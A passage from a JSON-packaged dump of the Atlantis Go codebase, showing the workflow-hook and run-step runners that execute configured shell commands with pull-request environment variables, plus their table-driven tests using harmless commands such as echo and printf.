ctx.HeadRepo.Owner,\n\t\t\"PULL_AUTHOR\":        ctx.Pull.Author,\n\t\t\"PULL_NUM\":           fmt.Sprintf(\"%d\", ctx.Pull.Num),\n\t\t\"PULL_URL\":           ctx.Pull.URL,\n\t\t\"USER_NAME\":          ctx.User.Username,\n\t\t\"OUTPUT_STATUS_FILE\": outputFilePath,\n\t\t\"COMMAND_NAME\":       ctx.CommandName,\n\t}\n\n\tfinalEnvVars := baseEnvVars\n\tfor key, val := range customEnvVars {\n\t\tfinalEnvVars = append(finalEnvVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\n\tcmd.Env = finalEnvVars\n\tout, err := cmd.CombinedOutput()\n\n\toutString := strings.ReplaceAll(string(out), \"\\n\", \"\\r\\n\")\n\twh.OutputHandler.SendWorkflowHook(ctx, outString, false)\n\twh.OutputHandler.SendWorkflowHook(ctx, \"\\n\", true)\n\n\tif err != nil {\n\t\terr = fmt.Errorf(\"%s: running %q in %q: \\n%s\", err, shell+\" \"+shellArgs+\" \"+command, path, out)\n\t\tctx.Log.Debug(\"error: %s\", err)\n\t\treturn string(out), \"\", err\n\t}\n\n\t// Read the value from the \"outputFilePath\" file\n\t// to be returned as a custom description.\n\tvar customStatusOut []byte\n\tif _, err := os.Stat(outputFilePath); err == nil {\n\t\tvar customStatusErr error\n\t\tcustomStatusOut, customStatusErr = os.ReadFile(outputFilePath)\n\t\tif customStatusErr != nil {\n\t\t\terr = fmt.Errorf(\"%s: running %q in %q: \\n%s\", err, shell+\" \"+shellArgs+\" \"+command, path, out)\n\t\t\tctx.Log.Debug(\"error: %s\", err)\n\t\t\treturn string(out), \"\", err\n\t\t}\n\t}\n\n\tctx.Log.Info(\"Successfully ran '%s' in '%s'\", shell+\" \"+shellArgs+\" \"+command, path)\n\treturn string(out), strings.Trim(string(customStatusOut), \"\\n\"), nil\n}\n"
  },
  {
    "path": "server/core/runtime/pre_workflow_hook_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"fmt\"\n\tgoruntime \"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc commandNotFoundErrorFormat(shell string) string {\n\t// TODO: Add more GOOSs. Also I haven't done too much testing\n\t// maybe the output here depends on other factors as well\n\tif goruntime.GOOS == \"darwin\" {\n\t\treturn fmt.Sprintf(\"%s: %%s: command not found\\r\\n\", shell)\n\t}\n\treturn fmt.Sprintf(\"%s: 1: %%s: not found\\r\\n\", shell)\n\n}\n\nfunc unterminatedStringError(shell, shellArgs string) string {\n\t// TODO: Add more GOOSs. Also I haven't done too much testing\n\t// maybe the output here depends on other factors as well\n\tif goruntime.GOOS == \"darwin\" {\n\t\treturn fmt.Sprintf(\"%s: %s: line 0: unexpected EOF while looking for matching `''\\r\\n%s: %s: line 1: syntax error: unexpected end of file\\r\\n\", shell, shellArgs, shell, shellArgs)\n\t}\n\treturn fmt.Sprintf(\"%s: 1: Syntax error: Unterminated quoted string\\r\\n\", shell)\n}\n\nfunc TestPreWorkflowHookRunner_Run(t *testing.T) {\n\n\tdefaultShell := \"sh\"\n\tdefaultShellArgs := \"-c\"\n\tdefaultShellCommandNotFoundErrorFormat := commandNotFoundErrorFormat(defaultShell)\n\tdefaultUnterminatedStringError := unterminatedStringError(defaultShell, defaultShellArgs)\n\n\tcases := []struct {\n\t\tCommand        string\n\t\tShell          string\n\t\tShellArgs      string\n\t\tExpOut         string\n\t\tExpErr         string\n\t\tExpDescription string\n\t}{\n\t\t{\n\t\t\tCommand:        \"\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo hi\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"hi\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        `printf \\'your main.tf file does not provide default region.\\\\ncheck\\'`,\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         `'your`,\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        `printf 'your main.tf file does not provide default region.\\ncheck'`,\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"your main.tf file does not provide default region.\\r\\ncheck\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo 'a\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         defaultUnterminatedStringError,\n\t\t\tExpErr:         \"exit status 2: running \\\"sh -c echo 'a\\\" in\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo hi >> file && cat file\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"hi\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"lkjlkj\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         fmt.Sprintf(defaultShellCommandNotFoundErrorFormat, \"lkjlkj\"),\n\t\t\tExpErr:         \"exit status 127: running \\\"sh -c lkjlkj\\\" in\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo user_name=$USER_NAME\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"user_name=acme-user\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo something > $OUTPUT_STATUS_FILE\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"something\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo shell test 1\",\n\t\t\tShell:          \"bash\",\n\t\t\tShellArgs:      defaultShellArgs,\n\t\t\tExpOut:         \"shell test 1\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo shell test 2\",\n\t\t\tShell:          defaultShell,\n\t\t\tShellArgs:      \"-cx\",\n\t\t\tExpOut:         \"+ echo shell test 2\\r\\nshell test 2\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t\t{\n\t\t\tCommand:        \"echo shell test 3\",\n\t\t\tShell:          \"bash\",\n\t\t\tShellArgs:      \"-cv\",\n\t\t\tExpOut:         \"echo shell test 3\\r\\nshell test 3\\r\\n\",\n\t\t\tExpErr:         \"\",\n\t\t\tExpDescription: \"\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tvar err error\n\n\t\tOk(t, err)\n\n\t\tRegisterMockTestingT(t)\n\t\tterraform := tfclientmocks.NewMockClient()\n\t\tWhen(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())).\n\t\t\tThenReturn(nil)\n\n\t\tlogger := logging.NewNoopLogger(t)\n\t\ttmpDir := t.TempDir()\n\n\t\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\t\tr := runtime.DefaultPreWorkflowHookRunner{\n\t\t\tOutputHandler: projectCmdOutputHandler,\n\t\t}\n\t\tt.Run(c.Command, func(t *testing.T) {\n\t\t\tctx := models.WorkflowHookCommandContext{\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tName:  \"basename\",\n\t\t\t\t\tOwner: \"baseowner\",\n\t\t\t\t},\n\t\t\t\tHeadRepo: models.Repo{\n\t\t\t\t\tName:  \"headname\",\n\t\t\t\t\tOwner: \"headowner\",\n\t\t\t\t},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum:        2,\n\t\t\t\t\tURL:        \"https://github.com/runatlantis/atlantis/pull/2\",\n\t\t\t\t\tHeadBranch: \"add-feat\",\n\t\t\t\t\tHeadCommit: \"12345abcdef\",\n\t\t\t\t\tBaseBranch: \"main\",\n\t\t\t\t\tAuthor:     \"acme\",\n\t\t\t\t},\n\t\t\t\tUser: models.User{\n\t\t\t\t\tUsername: \"acme-user\",\n\t\t\t\t},\n\t\t\t\tLog:         logger,\n\t\t\t\tCommandName: \"plan\",\n\t\t\t}\n\t\t\t_, desc, err := r.Run(ctx, c.Command, c.Shell, c.ShellArgs, tmpDir)\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrContains(t, c.ExpErr, err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t}\n\t\t\t// Replace $DIR in the exp with the actual temp dir. We do this\n\t\t\t// here because when constructing the cases we don't yet know the\n\t\t\t// temp dir.\n\t\t\tEquals(t, c.ExpDescription, desc)\n\t\t\texpOut := strings.ReplaceAll(c.ExpOut, \"$DIR\", tmpDir)\n\t\t\tprojectCmdOutputHandler.VerifyWasCalledOnce().SendWorkflowHook(\n\t\t\t\tAny[models.WorkflowHookCommandContext](), Eq(expOut), Eq(false))\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/pull_approved_checker.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_pull_approved_checker.go PullApprovedChecker\n\ntype PullApprovedChecker interface {\n\tPullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error)\n}\n"
  },
  {
    "path": "server/core/runtime/run_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n)\n\n// RunStepRunner runs custom commands.\ntype RunStepRunner struct {\n\tTerraformExecutor     TerraformExec\n\tDefaultTFDistribution terraform.Distribution\n\tDefaultTFVersion      *version.Version\n\t// TerraformBinDir is the directory where Atlantis downloads Terraform binaries.\n\tTerraformBinDir         string\n\tProjectCmdOutputHandler jobs.ProjectCommandOutputHandler\n}\n\nfunc (r *RunStepRunner) Run(\n\tctx command.ProjectContext,\n\tshell *valid.CommandShell,\n\tcommand string,\n\tpath string,\n\tenvs map[string]string,\n\tstreamOutput bool,\n\tpostProcessOutput []valid.PostProcessRunOutputOption,\n\tpostProcessFilterRegexes []*regexp.Regexp,\n) (string, error) {\n\ttfDistribution := r.DefaultTFDistribution\n\ttfVersion := r.DefaultTFVersion\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\terr := r.TerraformExecutor.EnsureVersion(ctx.Log, tfDistribution, tfVersion)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"%s: Downloading terraform Version %s\", err, tfVersion.String())\n\t\tctx.Log.Debug(\"error: %s\", err)\n\t\treturn \"\", err\n\t}\n\n\tbaseEnvVars := os.Environ()\n\tcustomEnvVars := map[string]string{\n\t\t\"ATLANTIS_TERRAFORM_DISTRIBUTION\": tfDistribution.BinName(),\n\t\t\"ATLANTIS_TERRAFORM_VERSION\":      tfVersion.String(),\n\t\t\"BASE_BRANCH_NAME\":                ctx.Pull.BaseBranch,\n\t\t\"BASE_REPO_NAME\":                  ctx.BaseRepo.Name,\n\t\t\"BASE_REPO_OWNER\":                 ctx.BaseRepo.Owner,\n\t\t\"COMMENT_ARGS\":                    strings.Join(ctx.EscapedCommentArgs, \",\"),\n\t\t\"DIR\":                             path,\n\t\t\"HEAD_BRANCH_NAME\":                ctx.Pull.HeadBranch,\n\t\t\"HEAD_COMMIT\":                     ctx.Pull.HeadCommit,\n\t\t\"HEAD_REPO_NAME\":                  ctx.HeadRepo.Name,\n\t\t\"HEAD_REPO_OWNER\":                 ctx.HeadRepo.Owner,\n\t\t\"PATH\":                            fmt.Sprintf(\"%s:%s\", os.Getenv(\"PATH\"), r.TerraformBinDir),\n\t\t\"PLANFILE\":                        filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)),\n\t\t\"SHOWFILE\":                        filepath.Join(path, ctx.GetShowResultFileName()),\n\t\t\"POLICYCHECKFILE\":                 filepath.Join(path, ctx.GetPolicyCheckResultFileName()),\n\t\t\"PROJECT_NAME\":                    ctx.ProjectName,\n\t\t\"PULL_AUTHOR\":                     ctx.Pull.Author,\n\t\t\"PULL_NUM\":                        fmt.Sprintf(\"%d\", ctx.Pull.Num),\n\t\t\"PULL_URL\":                        ctx.Pull.URL,\n\t\t\"REPO_REL_DIR\":                    ctx.RepoRelDir,\n\t\t\"USER_NAME\":                       ctx.User.Username,\n\t\t\"WORKSPACE\":                       ctx.Workspace,\n\t}\n\t// Add PR metadata environment variables for plan and apply steps\n\tif ctx.CommandName.String() == \"plan\" || ctx.CommandName.String() == \"apply\" {\n\t\tcustomEnvVars[\"ATLANTIS_PR_APPROVED\"] = strconv.FormatBool(ctx.PullReqStatus.ApprovalStatus.IsApproved)\n\t\tcustomEnvVars[\"ATLANTIS_PR_MERGEABLE\"] = strconv.FormatBool(ctx.PullReqStatus.MergeableStatus.IsMergeable)\n\t}\n\n\tfinalEnvVars := baseEnvVars\n\tfor key, val := range customEnvVars {\n\t\tfinalEnvVars = append(finalEnvVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\tfor key, val := range envs {\n\t\tfinalEnvVars = append(finalEnvVars, fmt.Sprintf(\"%s=%s\", key, val))\n\t}\n\n\trunner := models.NewShellCommandRunner(shell, command, finalEnvVars, path, streamOutput, r.ProjectCmdOutputHandler)\n\toutput, err := runner.Run(ctx)\n\n\t// These need to run before the error check to filter output\n\tfor _, processOutput := range postProcessOutput {\n\t\tswitch processOutput {\n\t\tcase valid.PostProcessRunOutputStripRefreshing:\n\t\t\toutput = StripRefreshingFromPlanOutput(output, tfVersion)\n\t\tcase valid.PostProcessRunOutputFilterRegexKey:\n\t\t\tfor _, filterRegexes := range postProcessFilterRegexes {\n\t\t\t\toutput = FilterRegexFromPlanOutput(output, filterRegexes)\n\t\t\t}\n\t\t}\n\t}\n\n\tif err != nil {\n\t\terr = fmt.Errorf(\"%s: running %q in %q: \\n%s\", err, command, path, output)\n\t\tif !ctx.CustomPolicyCheck {\n\t\t\tctx.Log.Debug(\"error: %s\", err)\n\t\t} else {\n\t\t\tctx.Log.Debug(\"Treating custom policy tool error exit code as a policy failure.  Error output: %s\", err)\n\t\t}\n\t\treturn \"\", err\n\t}\n\n\tfor _, processOutput := range postProcessOutput {\n\t\tswitch processOutput {\n\t\tcase valid.PostProcessRunOutputHide:\n\t\t\toutput = \"\"\n\t\tdefault:\n\t\t}\n\t}\n\n\treturn output, nil\n}\n"
  },
  {
    "path": "server/core/runtime/run_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRunStepRunner_Run(t *testing.T) {\n\ttestRegexSecret := regexp.MustCompile(`((?i)Secret:\\s\")[^\"]*`)\n\n\tcases := []struct {\n\t\tCommand                  string\n\t\tProjectName              string\n\t\tExpOut                   string\n\t\tExpErr                   string\n\t\tVersion                  string\n\t\tDistribution             string\n\t\tPostProcessOutput        []valid.PostProcessRunOutputOption\n\t\tPostProcessFilterRegexes []*regexp.Regexp\n\t}{\n\t\t{\n\t\t\tCommand: \"\",\n\t\t\tExpOut:  \"\",\n\t\t\tVersion: \"v1.2.3\",\n\t\t},\n\t\t{\n\t\t\tCommand: \"echo hi\",\n\t\t\tExpOut:  \"hi\\n\",\n\t\t\tVersion: \"v2.3.4\",\n\t\t},\n\t\t{\n\t\t\tCommand: `printf \\'your main.tf file does not provide default region.\\\\ncheck\\'`,\n\t\t\tExpOut:  \"'your\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand: `printf 'your main.tf file does not provide default region.\\ncheck'`,\n\t\t\tExpOut:  \"your main.tf file does not provide default region.\\ncheck\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand: `printf '\\e[32mgreen'`,\n\t\t\tExpOut:  \"green\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand: \"echo 'a\",\n\t\t\tExpErr:  \"exit status 2: running \\\"echo 'a\\\" in\",\n\t\t},\n\t\t{\n\t\t\tCommand: \"echo hi >> file && cat file\",\n\t\t\tExpOut:  \"hi\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand: \"lkjlkj\",\n\t\t\tExpErr:  \"exit status 127: running \\\"lkjlkj\\\" in\",\n\t\t},\n\t\t{\n\t\t\tCommand: \"echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE showfile=$SHOWFILE project=$PROJECT_NAME\",\n\t\t\tExpOut:  \"workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/myworkspace.tfplan showfile=$DIR/myworkspace.json project=\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand:     \"echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE showfile=$SHOWFILE project=$PROJECT_NAME\",\n\t\t\tProjectName: \"my/project/name\",\n\t\t\tExpOut:      \"workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/my::project::name-myworkspace.tfplan showfile=$DIR/my::project::name-myworkspace.json project=my/project/name\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand:      \"echo distribution=$ATLANTIS_TERRAFORM_DISTRIBUTION\",\n\t\t\tProjectName:  \"my/project/name\",\n\t\t\tExpOut:       \"distribution=terraform\\n\",\n\t\t\tDistribution: \"terraform\",\n\t\t},\n\t\t{\n\t\t\tCommand:      \"echo distribution=$ATLANTIS_TERRAFORM_DISTRIBUTION\",\n\t\t\tProjectName:  \"my/project/name\",\n\t\t\tExpOut:       \"distribution=tofu\\n\",\n\t\t\tDistribution: \"opentofu\",\n\t\t},\n\t\t{\n\t\t\tCommand: \"echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR repo_rel_dir=$REPO_REL_DIR\",\n\t\t\tExpOut:  \"base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme repo_rel_dir=mydir\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand: \"echo user_name=$USER_NAME\",\n\t\t\tExpOut:  \"user_name=acme-user\\n\",\n\t\t}, {\n\t\t\tCommand: \"echo $PATH\",\n\t\t\tExpOut:  fmt.Sprintf(\"%s:%s\\n\", os.Getenv(\"PATH\"), \"/bin/dir\"),\n\t\t},\n\t\t{\n\t\t\tCommand: \"echo args=$COMMENT_ARGS\",\n\t\t\tExpOut:  \"args=-target=resource1,-target=resource2\\n\",\n\t\t},\n\t\t{\n\t\t\tCommand: `echo mySecret: \\\"foo\\\"`,\n\t\t\tExpOut:  \"mySecret: \\\"<redacted>\\\"\\n\",\n\t\t\tPostProcessOutput: []valid.PostProcessRunOutputOption{\n\t\t\t\t\"filter_regex\",\n\t\t\t},\n\t\t\tPostProcessFilterRegexes: []*regexp.Regexp{\n\t\t\t\ttestRegexSecret,\n\t\t\t},\n\t\t},\n\t}\n\tfor _, customPolicyCheck := range []bool{false, true} {\n\t\tfor _, c := range cases {\n\t\t\tvar projVersion *version.Version\n\t\t\tvar err error\n\n\t\t\tprojVersion, err = version.NewVersion(\"v0.11.0\")\n\n\t\t\tif c.Version != \"\" {\n\t\t\t\tprojVersion, err = version.NewVersion(c.Version)\n\t\t\t\tOk(t, err)\n\t\t\t}\n\n\t\t\tOk(t, err)\n\n\t\t\tprojTFDistribution := \"terraform\"\n\t\t\tif c.Distribution != \"\" {\n\t\t\t\tprojTFDistribution = c.Distribution\n\t\t\t}\n\n\t\t\tdefaultVersion, _ := version.NewVersion(\"0.8\")\n\n\t\t\tRegisterMockTestingT(t)\n\t\t\tterraform := tfclientmocks.NewMockClient()\n\t\t\tdefaultDistribution := tf.NewDistributionTerraformWithDownloader(mocks.NewMockDownloader())\n\t\t\tWhen(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())).\n\t\t\t\tThenReturn(nil)\n\n\t\t\tlogger := logging.NewNoopLogger(t)\n\t\t\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\t\t\ttmpDir := t.TempDir()\n\n\t\t\tr := runtime.RunStepRunner{\n\t\t\t\tTerraformExecutor:       terraform,\n\t\t\t\tDefaultTFDistribution:   defaultDistribution,\n\t\t\t\tDefaultTFVersion:        defaultVersion,\n\t\t\t\tTerraformBinDir:         \"/bin/dir\",\n\t\t\t\tProjectCmdOutputHandler: projectCmdOutputHandler,\n\t\t\t}\n\t\t\tt.Run(fmt.Sprintf(\"%s_CustomPolicyCheck=%v\", c.Command, customPolicyCheck), func(t *testing.T) {\n\t\t\t\tctx := command.ProjectContext{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tName:  \"basename\",\n\t\t\t\t\t\tOwner: \"baseowner\",\n\t\t\t\t\t},\n\t\t\t\t\tHeadRepo: models.Repo{\n\t\t\t\t\t\tName:  \"headname\",\n\t\t\t\t\t\tOwner: \"headowner\",\n\t\t\t\t\t},\n\t\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\t\tNum:        2,\n\t\t\t\t\t\tURL:        \"https://github.com/runatlantis/atlantis/pull/2\",\n\t\t\t\t\t\tHeadBranch: \"add-feat\",\n\t\t\t\t\t\tHeadCommit: \"12345abcdef\",\n\t\t\t\t\t\tBaseBranch: \"main\",\n\t\t\t\t\t\tAuthor:     \"acme\",\n\t\t\t\t\t},\n\t\t\t\t\tUser: models.User{\n\t\t\t\t\t\tUsername: \"acme-user\",\n\t\t\t\t\t},\n\t\t\t\t\tLog:                   logger,\n\t\t\t\t\tWorkspace:             \"myworkspace\",\n\t\t\t\t\tRepoRelDir:            \"mydir\",\n\t\t\t\t\tTerraformDistribution: &projTFDistribution,\n\t\t\t\t\tTerraformVersion:      projVersion,\n\t\t\t\t\tProjectName:           c.ProjectName,\n\t\t\t\t\tEscapedCommentArgs:    []string{\"-target=resource1\", \"-target=resource2\"},\n\t\t\t\t\tCustomPolicyCheck:     customPolicyCheck,\n\t\t\t\t}\n\t\t\t\tout, err := r.Run(ctx, nil, c.Command, tmpDir, map[string]string{\"test\": \"var\"}, true, c.PostProcessOutput, c.PostProcessFilterRegexes)\n\t\t\t\tif c.ExpErr != \"\" {\n\t\t\t\t\tErrContains(t, c.ExpErr, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tOk(t, err)\n\t\t\t\t// Replace $DIR in the exp with the actual temp dir. We do this\n\t\t\t\t// here because when constructing the cases we don't yet know the\n\t\t\t\t// temp dir.\n\t\t\t\texpOut := strings.ReplaceAll(c.ExpOut, \"$DIR\", tmpDir)\n\t\t\t\tEquals(t, expOut, out)\n\n\t\t\t\tterraform.VerifyWasCalledOnce().EnsureVersion(Eq(logger), NotEq(defaultDistribution), Eq(projVersion))\n\t\t\t\tterraform.VerifyWasCalled(Never()).EnsureVersion(Eq(logger), Eq(defaultDistribution), Eq(defaultVersion))\n\n\t\t\t})\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/runtime.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package runtime holds code for actually running commands vs. preparing\n// and constructing.\npackage runtime\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\truntimemodels \"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nconst (\n\t// lineBeforeRunURL is the line output during a remote operation right before\n\t// a link to the run url will be output.\n\tlineBeforeRunURL     = \"To view this run in a browser, visit:\"\n\tplanfileSlashReplace = \"::\"\n)\n\n// TerraformExec brings the interface from TerraformClient into this package\n// without causing circular imports.\ntype TerraformExec interface {\n\tRunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error)\n\tEnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error\n}\n\n// AsyncTFExec brings the interface from TerraformClient into this package\n// without causing circular imports.\n// It's split from TerraformExec because due to a bug in pegomock with channels,\n// we can't generate a mock for it so we hand-write it for this specific method.\n//\n//go:generate pegomock generate --package mocks -o mocks/mock_async_tfexec.go AsyncTFExec\ntype AsyncTFExec interface {\n\t// RunCommandAsync runs terraform with args. It immediately returns an\n\t// input and output channel. Callers can use the output channel to\n\t// get the realtime output from the command.\n\t// Callers can use the input channel to pass stdin input to the command.\n\t// If any error is passed on the out channel, there will be no\n\t// further output (so callers are free to exit).\n\tRunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (chan<- string, <-chan runtimemodels.Line)\n}\n\n// StatusUpdater brings the interface from CommitStatusUpdater into this package\n// without causing circular imports.\n//\n//go:generate pegomock generate --package mocks -o mocks/mock_status_updater.go StatusUpdater\ntype StatusUpdater interface {\n\tUpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error\n}\n\n// Runner mirrors events.StepRunner as a way to bring it into this package\n//\n//go:generate pegomock generate --package mocks -o mocks/mock_runner.go Runner\ntype Runner interface {\n\tRun(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error)\n}\n\n// NullRunner is a runner that isn't configured for a given plan type but outputs nothing\ntype NullRunner struct{}\n\nfunc (p NullRunner) Run(ctx command.ProjectContext, _ []string, _ string, _ 